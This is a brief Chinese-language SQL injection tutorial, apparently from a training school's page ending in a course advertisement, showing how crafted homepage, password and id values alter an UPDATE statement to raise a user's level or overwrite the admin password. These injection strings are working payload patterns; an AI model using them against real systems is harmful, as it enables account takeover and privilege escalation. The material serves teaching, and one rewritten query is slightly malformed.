先理解這句SQL: UPDATE user SET password='MD5($password)',homepage='$homepage' WHERE id='$id'如果此SQL被修改成以下形式，就實現了注入。

　　1、修改homepage 值為http://xxx.net/', userlevel='3之后SQL語句變為:UPDATE user SET password='mypass',homepage='http://xxx.net/', userlevel='3' WHERE id='$id'userlevel 為用戶級別

　　2、修改 password 值為mypass)' WHERE username='admin'#之后SQL語句變為:UPDATE user SET password='MD5(mypass)' WHEREusername='admin'#)', homepage='$homepage' WHERE id='$id'3、修改 id 值為'OR username='admin'之后SQL語句變為: UPDATE user SET password='MD5($password)',homepage='$homepage' WHERE id="OR username='admin'

　　更多關于“網絡安全培訓”的問題，歡迎咨詢千鋒教育在線名師。千鋒教育多年辦學，課程大綱緊跟企業需求，更科學更嚴謹，每年培養泛IT人才近2萬人。不論你是零基礎還是想提升，都可以找到適合的班型，千鋒教育隨時歡迎你來試聽。